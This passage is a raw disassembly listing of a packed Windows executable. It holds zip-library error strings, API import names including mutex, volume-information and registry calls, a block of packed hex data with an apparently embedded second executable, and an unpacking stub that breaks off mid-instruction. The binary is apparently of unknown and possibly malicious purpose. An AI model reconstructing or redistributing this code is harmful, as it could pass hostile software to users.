; DATA XREF: HSho:loc_410D29o aSuccess db 'Success',0 ; DATA XREF: HSho:loc_410EAFo aCuldnTDuplicat db 'Culdn',27h,'t duplicate handle',0 ; DATA XREF: HSho:loc_410EBBo align 4 aCouldnTCreateO db 'Couldn',27h,'t create/open file',0 ; DATA XREF: HSho:loc_410EC7o align 4 aFailedToAlloca db 'Failed to allocate memory',0 ; DATA XREF: HSho:loc_410ED3o align 10h aErrorWritingTo db 'Error writing to file',0 ; DATA XREF: HSho:loc_410EDFo align 4 aFileNotFoundIn db 'File not found in the zipfile',0 ; DATA XREF: HSho:loc_410EEBo align 4 aStillMoreDataT db 'Still more data to unzip',0 ; DATA XREF: HSho:loc_410EF7o align 4 aZipfileIsCorru db 'Zipfile is corrupt or not a zipfile',0 ; DATA XREF: HSho:loc_410F00o aErrorReadingFi db 'Error reading file',0 ; DATA XREF: HSho:loc_410F09o align 4 aCallerFaultyAr db 'Caller: faulty arguments',0 ; DATA XREF: HSho:loc_410F12o align 4 aCallerTheFileH db 'Caller: the file had already been partially unzipped',0 ; DATA XREF: HSho:loc_410F1Bo align 10h aCallerCanOnlyG db 'Caller: can only get memory of a memory zipfile',0 ; DATA XREF: HSho:loc_410F24o aCallerNotEnoug db 'Caller: not enough space allocated for memory zipfile',0 ; DATA XREF: HSho:loc_410F2Do align 4 aCallerThereWas db 'Caller: there was a previous error',0 ; DATA XREF: HSho:loc_410F36o align 4 aCallerAddition db 'Caller: additions to the zip have already been ended',0 ; DATA XREF: HSho:loc_410F3Fo align 4 aCallerMixingCr db 'Caller: mixing creation and opening of zip',0 ; DATA XREF: HSho:loc_410F48o align 10h aZipBugInternal db 'Zip-bug: internal initialisation not completed',0 ; DATA XREF: HSho:loc_410F51o align 10h aZipBugTryingTo db 'Zip-bug: trying to seek the unseekable',0 ; DATA XREF: HSho:loc_410F5Ao align 4 aZipBugTheAntic db 'Zip-bug: the anticipated size turned out wrong',0 ; DATA XREF: HSho:loc_410F63o align 4 aZipBugTriedToC db 'Zip-bug: tried to change mind, but not allowed',0 ; DATA XREF: HSho:loc_410F6Co align 4 aZipBugAnIntern db 'Zip-bug: an internal error during flation',0 ; DATA XREF: HSho:loc_410F75o align 10h off_417BB0 dd offset off_414AD4 ; DATA XREF: HSho:off_414AF0o ; HSho:00414B2Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dword_417BD0 dd 1 align 8 dword_417BD8 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_417BE8 dd offset off_414AD4 ; DATA XREF: HSho:off_414B38o ; HSho:00414B74o ... align 10h a_?av_com_error db '.?AV_com_error@@',0 align 8 a97 db '97',0 ; DATA XREF: sub_401ACF+24o ; sub_401ACF+64o ... align 4 dd 7FFh dup(0) byte_419C08 db 0 ; DATA XREF: HSho:00401B9Ar align 4 byte_419C0C db 0 ; DATA XREF: HSho:00401BB5r align 10h byte_419C10 db 0 ; DATA XREF: sub_401C92+25r align 4 byte_419C14 db 0 ; DATA XREF: sub_401D8A+Ar align 4 byte_419C18 db 0 ; DATA XREF: sub_401D8A+25r align 4 byte_419C1C db 0 ; DATA XREF: HSho:00401E90r align 10h byte_419C20 db 0 ; DATA XREF: HSho:00401EABr align 4 byte_419C24 db 0 ; DATA XREF: HSho:00401F65r align 4 byte_419C28 db 0 ; DATA XREF: HSho:loc_401FCBr align 4 byte_419C2C db 0 ; DATA XREF: HSho:00402050r align 10h byte_419C30 db 0 ; DATA XREF: HSho:0040206Br align 4 byte_419C34 db 0 ; DATA XREF: HSho:loc_402104r align 4 byte_419C38 db 0 ; DATA XREF: sub_402296+Ar align 4 dword_419C3C dd 0 byte_419C40 db 0 ; DATA XREF: sub_402FAF+1Br ; sub_402FAF:loc_4030A8o ... align 4 word_419C44 dw 0 ; DATA XREF: sub_404B40+2Er ; sub_404B40+2FAo ... align 4 dword_419C48 dd 0 dword_419C4C dd 0 dword_419C50 dd 0 dword_419C54 dd 0 dword_419C58 dd 0 dword_419C5C dd 0 dword_419C60 dd 0 dword_419C64 dd 0 dword_419C68 dd 0 dword_419C6C dd 0 dword_419C70 dd 0 dword_419C74 dd 0 dword_419C78 dd 0 dword_419C7C dd 0 dword_419C80 dd 0 dword_419C84 dd 0 dword_419C88 dd 0 dword_419C8C dd 0 dword_419C90 dd 0 ; sub_408310+3o ... aJSJSJSJS db 'ssss',0 align 4 aJSJS db 'ss',0 align 4 dd 345000h, 345050h, 73EA86D4h, 801h dup(0) dd offset off_4132CC align 10h dword_41BCD0 dd 0 ; sub_408D9F+41o ... dword_41BCD4 dd 0 ; sub_410FDB+73w ... dword_41BCD8 dd 0 dword_41BCDC dd 3 dup(0) dword_41BCE8 dd 0 dword_41BCEC dd 0 dword_41BCF0 dd 0 dword_41BCF4 dd 0 dword_41BCF8 dd 4 dup(0) dword_41BD08 dd 0 dword_41BD0C dd 0FFFFFFFFh ; HSho:004116BEw dword_41BD10 dd 0FFFFFFFFh ; sub_411646+1Ao ... dd 4BBh dup(0) dd 140h, 12018h, 65724301h, 46657461h, 41656C69h, 65520100h dd 69466461h, 100656Ch, 736F6C43h, 6E614865h, 656C64h dd 74654701h, 656C6946h, 657A6953h, 65470100h, 73614C74h dd 72724574h, 100726Fh aGetcurrentdire db 'GetCurrentDirectoryA',0 db 1, 43h, 72h aEatedirectorya db 'eateDirectoryA',0 db 1 aRemovedirector db 'RemoveDirectoryA',0 db 1, 53h, 65h aTfileattribute db 'tFileAttributesA',0 db 1, 47h, 65h aTfileattribu_0 db 'tFileAttributesA',0 db 1, 55h, 6Eh aMapviewoffile db 'mapViewOfFile',0 dw 4601h aIndfirstfilea db 'indFirstFileA',0 dw 5301h aEtcurrentdirec db 'etCurrentDirectoryA',0 db 1 aGlobalfree db 'GlobalFree',0 db 1 aWritefile db 'WriteFile',0 db 1 aFreelibrary db 'FreeLibrary',0 db 1 aGlobalrealloc db 'GlobalReAlloc',0 db 1 aGlobalalloc db 'GlobalAlloc',0 db 1 aGetprocaddress db 'GetProcAddress',0 db 1 aWidechartomult db 'WideCharToMultiByte',0 db 1, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 4D01h aApviewoffile db 'apViewOfFile',0 db 1, 43h, 72h aEatefilemappin db 'eateFileMappingA',0 db 1, 6Ch, 73h aTrcata db 'trcatA',0 db 1 aSetlasterror db 'SetLastError',0 db 1, 46h, 69h aNdclose db 'ndClose',0 dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 53746547h dd 74726174h, 6E497075h, 416F66h, 74654701h, 75646F4Dh dd 6148656Ch, 656C646Eh, 53010041h, 69467465h, 6954656Ch dd 100656Dh aDosdatetimetof db 'DosDateTimeToFileTime',0 dw 5301h aYstemtimetofil db 'ystemTimeToFileTime',0 db 1 aGetcurrentproc db 'GetCurrentProcess',0 db 1 aDuplicatehandl db 'DuplicateHandle',0 db 1 aGetfiletype db 'GetFileType',0 db 1, 53h, 65h aTfilepointer db 'tFilePointer',0 db 1, 4Ch, 6Fh aCalfree db 'calFree',0 db 1 aInterlockedinc db 'InterlockedIncrement',0 dw 4301h aReatemutexa db 'reateMutexA',0 db 1 aGetvolumeinfor db 'GetVolumeInformationA',0 db 1 aGetsystemdefau db 'GetSystemDefaultLCID',0 db 1, 6Ch, 73h aTrlena db 'trlenA',0 db 1 aGetlocaleinfoa db 'GetLocaleInfoA',0 db 1 aInterlockeddec db 'InterlockedDecrement',0 db 1, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 1 aLstrcpya db 'lstrcpyA',0 dw 5701h aAitforsingleob db 'aitForSingleObject',0 db 1 aGetwindowsdire db 'GetWindowsDirectoryA',0 db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 db 1, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 db 1 aSleep db 'Sleep',0 dw 4D00h dd 1, 1000120h, 43676552h, 65736F6Ch, 79654Bh, 67655201h dd 6E65704Fh, 4579654Bh, 1004178h, 53676552h, 61567465h dd 4565756Ch, 1004178h, 43676552h, 74616572h, 79654B65h dd 417845h, 67655201h, 72657551h, 6C615679h, 78456575h dd 5A000041h, 0E8000001h, 0FF000120h, 12FF1B10h, 164EFF1Bh dd 0FF03ABFFh, 0ADFF039Eh, 0B63FF03h, 0FF0339FFh, 33FF15C4h dd 1021FF16h, 0FF039CFFh, 1CFF039Ah, 35AFF02h, 0FF0320FFh dd 17FF035Ch, 959FF02h, 0FF0219FFh, 64000337h, 40000001h dd 1000121h a?is_open@ifstr db '?is_open@ifstream@@QBEHXZ',0 dw 3F01h aRead@istream@@ db 'read@istream@@QAEAAV1@PADH@Z',0 db 1, 3Fh, 67h aCount@istream@ db 'count@istream@@QBEHXZ',0 dw 3F01h aClose@ifstream db 'close@ifstream@@QAEXXZ',0 db 1 a??_difstream@@ db '??_Difstream@@QAEXXZ',0 db 1, 3Fh, 6Fh aPen@ifstream@@ db 'pen@ifstream@@QAEXPBDHH@Z',0 dw 3F01h aSh_read@filebu db 'sh_read@filebuf@@2HB',0 db 1, 2 dup(3Fh) a0ifstream@@qae db '0ifstream@@QAE@XZ',0 dw 3F01h aFail@ios@@qbeh db 'fail@ios@@QBEHXZ',0 align 2 dw 170h dd 21680000h, 3F010001h, 243F313Fh, 69736162h, 74735F63h dd 676E6972h, 3F554440h, 61686324h, 72745F72h, 73746961h dd 73404440h, 40406474h, 61243F56h, 636F6C6Ch, 726F7461h dd 32404440h, 74734040h, 51404064h, 58404541h, 3F01005Ah dd 243F303Fh, 69736162h, 74735F63h, 676E6972h, 3F554440h dd 61686324h, 72745F72h, 73746961h, 73404440h, 40406474h dd 61243F56h, 636F6C6Ch, 726F7461h, 32404440h, 74734040h dd 51404064h, 41404541h, 243F5642h, 6F6C6C61h, 6F746163h dd 40444072h, 5A404031h, 733F0100h, 74736275h, 243F4072h dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h dd 413F4542h, 40323156h, 5A404949h, 663F0100h, 5F646E69h dd 7473616Ch, 40666F5Fh, 6162243Fh, 5F636973h, 69727473h dd 4440676Eh, 63243F55h, 5F726168h, 69617274h, 44407374h dd 64747340h, 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh dd 40403240h, 40647473h, 45425140h, 40494449h, 3F01005Ah dd 736F706Eh, 62243F40h, 63697361h, 7274735Fh, 40676E69h dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h dd 64747340h, 49324040h, 3F010042h, 243F343Fh, 69736162h dd 74735F63h, 676E6972h, 3F554440h, 61686324h, 72745F72h dd 73746961h, 73404440h, 40406474h, 61243F56h, 636F6C6Ch dd 726F7461h, 32404440h, 74734040h, 51404064h, 41414541h dd 40313056h, 30564241h, 5A404031h, 3F3F0100h, 62243F30h dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h dd 42414045h, 40313056h, 1005A40h, 7373613Fh, 406E6769h dd 6162243Fh, 5F636973h, 69727473h, 4440676Eh, 63243F55h dd 5F726168h, 69617274h, 44407374h, 64747340h, 3F564040h dd 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h, 40647473h dd 45415140h, 31564141h, 42504032h, 5A4044h, 5F633F01h dd 40727473h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h dd 40647473h, 45425140h, 58444250h, 3F01005Ah, 657A6973h dd 62243F40h, 63697361h, 7274735Fh, 40676E69h, 243F5544h dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h dd 42514040h, 5A584945h, 3F3F0100h, 64747338h, 41594040h dd 42414E5Fh, 62243F56h, 63697361h, 7274735Fh, 40676E69h dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h dd 30403040h, 1005A40h, 3F343F3Fh, 73616224h, 735F6369h dd 6E697274h, 55444067h, 6863243Fh, 745F7261h, 74696172h dd 40444073h, 40647473h, 243F5640h, 6F6C6C61h, 6F746163h dd 40444072h, 73404032h, 40406474h, 41454151h, 31305641h dd 44425040h, 5A40h, 17Ch, 1219Ch, 72747301h, 7970636Eh dd 74610100h, 1006C6Fh, 656D6974h, 74610100h, 100696Fh dd 7274735Fh, 6D63696Eh, 5F010070h, 64727473h, 1007075h dd 73626D5Fh, 727075h, 72747301h, 746163h, 48455F01h, 6F72705Fh dd 676F6Ch, 6D656D01h, 797063h, 706F6601h, 1006E65h, 6C6C616Dh dd 100636Fh, 73727473h, 1007274h, 6F6C6366h, 1006573h dd 65657266h, 74660100h, 6C6C65h, 435F5F01h, 72467878h dd 48656D61h, 6C646E61h, 1007265h, 7878435Fh, 6F726854h dd 63784577h, 69747065h, 1006E6Fh, 69727073h, 66746Eh dd 73637701h, 6E656Ch, 626D5F01h, 706D6373h, 73660100h dd 6B6565h, 756F7401h, 72657070h, 74730100h, 6E656C72h dd 74730100h, 79706372h, 6D5F0100h, 626E7362h, 797063h dd 6D656D01h, 746573h, 6C616301h, 636F6Ch, 72747301h, 706D63h dd 746D6701h, 656D69h, 626D5F01h, 72747373h, 3F3F0100h dd 70797431h, 6E695F65h, 40406F66h, 40454155h, 1005A58h dd 6C645F5Fh, 656E6F6Ch, 746978h, 6E6F5F01h, 74697865h dd 655F0100h, 746978h, 63585F01h, 69467470h, 7265746Ch dd 78650100h, 1007469h, 65675F5Fh, 69616D74h, 6772616Eh dd 5F010073h, 646D6361h, 1006E6Ch, 696E695Fh, 72657474h dd 5F01006Dh, 7465735Fh, 72657375h, 6874616Dh, 727265h dd 64615F01h, 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh dd 6D6D6F63h, 65646Fh, 705F5F01h, 6D665F5Fh, 65646Fh, 735F5F01h dd 615F7465h, 745F7070h, 657079h, 78655F01h, 74706563h dd 6E61685Fh, 72656C64h, 66010033h, 64616572h, 635F0100h dd 72746E6Fh, 70666C6Fh, 1870000h, 22A40000h, 43010001h dd 696E556Fh, 6974696Eh, 7A696C61h, 4F010065h, 7552656Ch dd 4301006Eh, 6572436Fh, 49657461h, 6174736Eh, 65636Eh dd 496F4301h, 6974696Eh, 7A696C61h, 91000065h, 60000001h dd 0FF000122h, 9FF000Ch, 8FF00h, 0FF0095FFh, 6FF0096h dd 7FF00h, 0FF00C8FFh, 9E000002h, 88000001h, 1000122h dd 69464853h, 704F656Ch, 74617265h, 416E6F69h, 1AA0000h dd 22900000h, 43010001h, 5279706Fh, 746365h, 75714501h dd 65526C61h, 1007463h, 72616843h, 65707055h, 1004172h dd 72707377h, 66746E69h, 41h, 50000000h, 4C000045h, 8C000401h dd 47F272h, 0 dd 0E0000000h, 0B010F00h, 601h, 120h, 0A0h, 8A000000h dd 116h, 10h, 130h, 4000h, 10h, 4000010h, 0 dd 4000000h, 2 dup(0) dd 1D0h, 10h, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 20000000h, 0DC00015Eh, 0 dd 280001C0h, 3, 12h dup(0) dd 0B8000130h, 2, 5 dup(0) dd 2E000000h, 74786574h, 0A5000000h, 117h, 10h, 120h, 10h dd 2 dup(0) dd 20000000h, 2E600000h, 74616472h, 86000061h, 3Dh, 130h dd 40h, 130h, 2 dup(0) dd 40000000h, 2E400000h, 61746164h, 14000000h, 4Dh, 170h dd 10h, 170h, 2 dup(0) dd 40000000h, 2EC00000h, 63727372h, 28000000h, 3, 1C0h dd 10h, 180h, 2 dup(0) dd 40000000h, 400000h, 0B40001C0h, 161h, 1CB4300h, 0A973F00h dd 0C05D8723h, 20EFCF46h, 74A9464h, 765D031Ah, 56C6D6DBh dd 0E477C6Bh, 1B642320h, 6D1A36C9h, 7D3009h, 31B30F17h dd 61130D66h, 6E735B0Dh, 75856C75h, 0B36943F2h, 6F6D4A20h dd 0EB9ACB6Bh, 1E116247h, 0CBA5232Fh, 8942B770h, 53626934h dd 6B5AB917h, 69AA1772h, 0AE8F0382h, 9B5D5B6h, 0AD678D2Fh dd 6CBE2C20h, 1B66F033h, 653F5B9Eh, 6D4BE015h, 1C4A33D9h dd 7974206Bh, 565B5B61h, 6F2913E6h, 42B51A65h, 734CB38Ch dd 0BE9A27BBh, 44B60DACh, 25201379h, 6D797356h, 1765B586h dd 57736C46h, 3BFA268Bh, 5C4BD6B4h, 75B34BB4h, 819A7362h dd 0C12C5687h, 0F1347931h, 0C070CF7Bh, 2120732Ah, 4212E7B3h dd 0CD5AC2B6h, 0B0364B23h, 22FAC858h, 361B1F47h, 0CB8F04B2h dd 12CA6D1Dh, 651B3F36h, 0C2E0D718h, 2016340Ah, 95215A6Bh dd 7B2F04B0h, 0D14EE6AFh, 73B4E00h, 46B7075Eh, 326E6B93h dd 0CD6B9120h, 736BD871h, 333526FAh, 19DB0967h, 1B20EB2Ch dd 8987437Ah, 93A6AE1Bh, 45996820h, 5A15A323h, 2BCD0763h dd 8F61A4ABh, 258D2765h, 0F359289Fh, 35455F6h, 5C2F2E2Eh dd 70399F7Fh, 1E7FDC06h, 637553AFh, 3EDEE5Ah, 1143005Ch dd 45276E64h, 0E68B37DFh, 0EC638ADAh, 8B002077h, 436C1B5Dh dd 39631C6Fh, 536F2F19h, 0A2418910h, 0FB462020h, 0A344D623h dd 6FF9593Fh, 0B42BFD38h, 451B3747h, 0AC9DD5F8h, 42BD869Dh dd 53332220h, 0ADB5A8ADh, 58664F8Dh, 0C1B58963h, 0B61B6B5Eh dd 2F531F99h, 0AD1CCDC8h, 0D4C4464Bh, 7D9B4639h, 5A8B950Fh dd 0B2473425h, 0F8BDB1EFh, 4CC674ADh, 0F6774161h, 0AB7759BAh dd 43547764h, 0C4E1829Eh, 203A4505h, 2F3AF819h, 67F4C1D9h dd 0E7AA6D75h, 7B46851Bh, 0FA2D7BAEh, 2940CE64h, 5CD75959h dd 932DECB8h, 0D0887925h, 0FFB6C0DAh, 21F53764h, 0AED21B6Eh dd 65671C8Dh, 90660FFBh, 66C961BDh, 0AD2F970Bh, 0AD8DB470h dd 3367FB54h, 367D5973h, 3A4386B2h, 35721164h, 185B709Fh dd 73E51212h, 0B59B2D5Ah, 697644EDh, 235D7342h, 0AD1E9A10h dd 661BF4B2h, 85AE566Fh, 29CFDC95h, 61C2DBD0h, 0A4C36169h dd 0BDE12C78h, 9B23C343h, 14E720FCh, 0C1C3ED6Dh, 2D7B7DCBh dd 692CB562h, 18B5CE1Dh, 6C083934h, 876073BBh, 0D83466F4h dd 6D2F6472h, 0FD286183h, 6B7C7301h, 0E19F0332h, 610A4796h dd 0DA112709h, 7818DEE6h, 0D10634Ah, 4EDA39C0h, 9F751409h dd 0CDB0988Ch, 644A88D1h, 35695767h, 7BCE3A39h, 7967AC63h dd 7B092C40h, 29E0AE78h, 87775589h, 6B2C223Ah, 0EE37BA24h dd 0B1521172h, 0C06C2331h, 0A07B428Fh, 617F3FD4h, 1D9F2A5Fh dd 7EA93003h, 0FFEC0EC7h, 3D6000FFh, 548FDF0Bh, 658E101Bh dd 2B2B0008h, 5F3719D1h, 1AC5A012h, 386B5F0Fh, 8425119Bh dd 0A0089F0Ah, 50050192h, 0A08F0C81h, 40041B0Ah, 5C513801h dd 120182Eh, 50124743h, 4106A26Bh, 203E790Ch, 97011D01h dd 74654701h, 0FECFC507h, 7A695315h, 73614C0Ch, 58F1D874h dd 0C30DB115h, 6C694474h, 0FA44CDD8h, 54417913h, 0F6136711h dd 6F6D59B7h, 54531176h, 5DB7441h, 6239748Ah, 13732D75h dd 3FFD9B47h, 6D6E5580h, 69567061h, 664F7765h, 0BD80059Ah dd 0A46E6ED9h, 482A7372h, 808B6D82h, 0FBC04776h, 7BED1046h dd 573175AFh, 103CE24Dh, 6C505B4Ch, 6172DAC3h, 419A2324h dd 730D9BD0h, 8A0C0EF3h, 37150CEh, 646441ECh, 0B78A4322h dd 43C0404Bh, 6F543668h, 0F7325A4Dh, 4269B525h, 0A4D7479h dd 730B0915h, 0AE141FC3h, 0B6EB7660h, 0BB70186Eh, 0BC6C9C67h dd 8156372h, 0BCBC212Fh, 6D79DA4Dh, 0AB3EC37h, 0E478654Eh dd 5D74538Eh, 400B140Ah, 84F849F2h, 10CFB420h, 7F646F4Dh dd 0F750A4h, 6954BEEAh, 0D8443E6Dh, 9680310Ch, 0CD169BB9h dd 64612DECh, 0EEF2C415h, 62A13191h, 0F1037B44h, 54C55330h dd 6F506ADDh, 41EDB421h, 354C0FC2h, 2A9B6D6Bh, 0ED1149DEh dd 630A6465h, 0B704386Bh, 4556D12h, 0BB78D24Dh, 30112DAFh dd 0CB1A75B9h, 0C507B367h, 16EF6D72h, 0F84D449Fh, 4C344058h dd 2B444943h, 0AC162C6Ch, 36681F6Ah, 908E6A41h, 6A3125ACh dd 5B79705Bh, 30F60BBBh, 6157090Ah, 536AB169h, 0CDE398Ah dd 624F3E7Eh, 214F266Ah, 87024C61h, 6F4A5838h, 4EE10DFBh dd 0DF415461h, 43B74B17h, 17683530h, 4D427065h, 34E3611Eh dd 0B4674000h, 0AF79654Bh, 0CC50473h, 0EA450BE7h, 75C80B98h dd 0FEED530Eh, 36036B0Fh, 51200B61h, 9A6F571Bh, 5722586Dh dd 10FFE85Ah, 6DF2FF1Bh, 212B7F9h, 0ABFF164Eh, 0AD9EFF03h dd 0FF0B6305h, 7CB2F939h, 0FF15C4FBh, 10211433h, 1C9A9CFFh dd 6F5AFF02h, 206D965Fh, 59175C0Bh, 519FF09h, 0D0000337h dd 64BB37DDh, 3F21409Fh, 6F5F7369h, 66694093h, 63FEE75h dd 51404036h, 58484542h, 640E1A5Ah, 0AC9FFF7Eh, 45411617h dd 31564141h, 44415040h, 671E4048h, 96F64363h, 2074162Ah dd 0F63D6337h, 50F07B2Dh, 3F185839h, 8DDB445Fh, 7E15802Ch dd 63425017h, 59F622A3h, 5F687364h, 0B7BE6286h, 1EA79006h dd 49424832h, 64505330h, 0DF4048C2h, 35AC9DD2h, 8A7B48h dd 0E068E670h, 3F3E9636h, 0C0243F31h, 365FB673h, 0DDB4D686h dd 554440E9h, 5F936310h, 0ED15FF0Eh, 44336ED6h, 40661840h dd 76F61556h, 0F1E51985h, 16403213h, 9954EC63h, 4147785Bh dd 3DD66442h, 0EA53842Bh, 409B6275h, 6D866E5Fh, 0A43FF851h dd 164949B6h, 53C63B5Ch, 6C5FC366h, 3C66E444h, 59CAA52Bh dd 706E5471h, 2B28BE1Eh, 49324C63h, 28344B42h, 904A8C74h dd 15B3D30h, 5506742h, 254D9E40h, 370C28DCh, 376E6730h dd 429C38E6h, 54D39136h, 2342001Bh, 824DE581h, 8F8622ABh dd 38C7D87Ah, 38DA5563h, 0F64159EAh, 5FC30488h, 309A514Eh dd 8740140h, 0DC5AC204h, 4E1A0636h, 9C7CC9D3h, 0F7B76E3Ch dd 86A6B60h, 74056C3Ch, 5D980BA4h, 5F69CB7Ah, 706DE11Bh dd 0F4AD070Ah, 6D08A715h, 0B5860754h, 5509372Dh, 0F5F1910h dd 0BB5B635Eh, 0B676F3Ah, 664A6D3Ah, 8B173982h, 2A940EE4h dd 63021602h, 7C862E0h, 4C9766BCh, 1EB5DF44h, 78435F3Fh dd 0B4944678h, 0FD0CDCFDh, 68541127h, 0E6837753h, 43FB4586h dd 0E66CFF63h, 866ADE0h, 0A1736377h, 9D6B9A88h, 50666803h dd 75966FB8h, 59B1066Ch, 288F2098h, 0F7BDAEB2h, 9F0A626Eh dd 9863B32Ch, 0D8ECDEF5h, 0F66D6742h, 2EB3A92Ah, 0F8DEE801h dd 836FAC55h, 64AA75C8h, 0F7690537h, 64B06D13h, 62580608h dd 160ED0A8h, 5F12A389h, 5B756D67h, 4404AD40h, 610E7375h dd 0AD7A0267h, 3EBA406Ch, 0EB44F627h, 90226D5Eh, 68980375h dd 0BAEF705h, 6A9CFCBCh, 64665F75h, 211F7669h, 70E803A8h dd 0B36D4A5Fh, 99D86E6Bh, 390B660Dh, 1F09F32Ch, 0A95F6F62h dd 685F2C86h, 2D734245h, 4B6633C2h, 67383E18h, 0A086D1B3h dd 87897066h, 120A22A4h, 0EA6FA150h, 0D835E2C4h, 324F683Eh dd 91177C52h, 314C4A82h, 0D9A620EEh, 49117D92h, 60914027h dd 0DB2CB2CBh, 9020CFFh, 6969508h, 2CB2DB34h, 6402C807h dd 1859889Eh, 4853F89Eh, 75954FD6h, 0B66930B1h, 8F90AA7Fh dd 0DACD0F52h, 71451863h, 0D20A5B75h, 0C105155h, 0E641C40Fh dd 7B60A0F0h dd 45503152h, 83FD4C03h, 8C435F10h, 3647F272h, 10F00E0h dd 9A06010Bh, 55B359EEh, 8A13A020h, 30100B16h, 0A766EBh dd 4030B50h, 4ECDEE1Eh, 0D0000736h, 96B20027h, 2467606Ch dd 2F060710h, 396FB710h, 8DC5E20h, 32807C0h, 8056ED85h dd 2B8A7B8h, 35D9064Fh, 74C42E74h, 2017A5AFh, 0CB6486D0h dd 2E929BB7h, 3760D872h, 86083153h, 740FB3Dh, 2CB7ECFBh dd 2E401200h, 4D140026h, 1B29B64Bh, 277070A4h, 1B734FC0h dd 1A95CC6Ch, 27C0EB0Bh, 0FF004F80h, 0B41B2B7Eh, 0CB431761h dd 1, 0 ; --------------------------------------------------------------------------- add byte ptr [edi+edi*8], 0 loc_41E580: ; DATA XREF: start+86o pusha mov esi, offset dword_416000 lea edi, [esi-15000h] push edi or ebp, 0FFFFFFFFh jmp short loc_41E5A2 ; --------------------------------------------------------------------------- align 8 loc_41E598: ; CODE XREF: HSho:loc_41E5A9j mov al, [esi] inc esi mov [edi], al inc edi loc_41E59E: ; CODE XREF: HSho:0041E636j ; HSho:0041E64Dj add ebx, ebx jnz short loc_41E5A9 loc_41E5A2: ; CODE XREF: HSho:0041E590j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_41E5A9: ; CODE XREF: HSho:0041E5A0j jb short loc_41E598 mov eax, 1 loc_41E5B0: ; CODE XREF: HSho:0041E5BFj ; HSho:0041E5CAj add ebx, ebx jnz short loc_41E5BB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_41E5BB: ; CODE XREF: HSho:0041E5B2j adc eax, eax add ebx, ebx jnb short loc_41E5B0 jnz short loc_41E5CC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_41E5B0 loc_41E5CC: ; CODE XREF: HSho:0041E5C1j xor ecx, ecx sub eax, 3 jb short loc_41E5E0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_41E652 mov ebp, eax loc_41E5E0: ; CODE XREF: HSho:0041E5D1j add ebx, ebx jnz short loc_41E5EB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_41E5EB: ; CODE XREF: HSho:0041E5E2j adc ecx, ecx add ebx, ebx jnz short loc_41E5F8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_41E5F8: ; CODE XREF: HSho:0041E5EFj adc ecx, ecx jnz short loc_41E61C inc ecx loc_41E5FD: ; CODE XREF: HSho:0041E60Cj ; HSho:0041E617j add ebx, ebx jnz short loc_41E608 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_41E608: ; CODE XREF: HSho:0041E5FFj adc ecx, ecx add ebx, ebx jnb short loc_41E5FD jnz short loc_41E619 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_41E5FD loc_41E619: ; CODE XREF: HSho:0041E60Ej add ecx, 2 loc_41E61C: ; CODE XREF: HSho:0041E5FAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_41E63C loc_41E62D: ; CODE XREF: HSho:0041E634j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_41E62D jmp loc_41E59E ; --------------------------------------------------------------------------- align 4 loc_41E63C: ; CODE XREF: HSho:0041E62Bj ; HSho:0041E649j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_41E63C add edi, ecx jmp loc_41E59E ; --------------------------------------------------------------------------- loc_41E652: ; CODE XREF: HSho:0041E5DCj pop esi mov edi, esi mov ecx, 743h loc_41E65A: ; CODE XREF: HSho:0041E661j ; HSho:0041E666j mov al, [edi] inc edi sub al, 0E8h loc_41E65F: ; CODE XREF: HSho:0041E684j cmp al, 1 ja short loc_41E65A cmp byte ptr [edi], 6 jnz short loc_41E65A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov al, bl loop loc_41E65F lea edi, [esi+1C000h] loc_41E68C: ; CODE XREF: HSho:0041E6AEj mov eax, [edi] or eax, eax jz short loc_41E6D7 mov ebx, [edi+4] lea eax, [eax+esi+1E324h] add ebx, esi push eax add edi, 8 call dword ptr [esi+1E400h] xchg eax, ebp loc_41E6A9: ; CODE XREF: HSho:0041E6CFj mov al, [edi] inc edi or al, al jz short loc_41E68C mov ecx, edi jns short near ptr loc_41E6BA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_41E6BA: ; CODE XREF: HSho:0041E6B2j mov ecx, 0AEF24857h push ebp call dword 